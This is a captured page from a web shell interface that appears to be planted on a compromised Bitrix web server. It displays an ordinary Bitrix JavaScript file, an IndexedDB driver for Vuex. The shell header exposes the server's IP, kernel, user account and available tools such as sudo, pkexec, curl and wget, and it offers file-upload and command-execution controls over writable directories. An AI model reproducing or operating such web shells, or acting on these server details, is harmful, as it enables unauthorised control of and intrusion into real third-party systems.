403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/vue/vuex/src/builder/database/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/vue/vuex/src/builder/database/indexeddb.js
/**
 * Bitrix Vuex wrapper
 * IndexedDB driver for Vuex Builder
 *
 * @package bitrix
 * @subpackage ui
 * @copyright 2001-2019 Bitrix
 */

import {md5} from "main.md5";
import {Dexie} from "ui.dexie";

export class VuexBuilderDatabaseIndexedDB
{
	constructor(config = {})
	{
		this.siteId = config.siteId || 'default';
		this.userId = config.userId || 0;
		this.storage = config.storage || 'default';
		this.name = config.name || '';

		this.code = (window.md5 || md5)(
			this.siteId+'/'+
			this.userId+'/'+
			this.storage+'/'+
			this.name
		);

		this.db = new Dexie('bx-vuex-model');

		this.db.version(1).stores({
			data: "code, value",
		});
	}

	get()
	{
		return new Promise((resolve, reject) =>
		{
			this.db.data.where('code').equals(this.code).first().then(data => {
				resolve(data? data.value: null);
			}, error => {
				reject(error);
			});
		});
	}

	set(value)
	{
		return new Promise((resolve, reject) =>
		{
			this.db.data.put({code: this.code, value}).then(data => {
				resolve(true);
			}, error => {
				reject(error);
			});
		});
	}

	clear()
	{
		return new Promise((resolve, reject) =>
		{
			this.db.data.delete(this.code).then(data => {
				resolve(true);
			}, error => {
				reject(error);
			});
		});
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit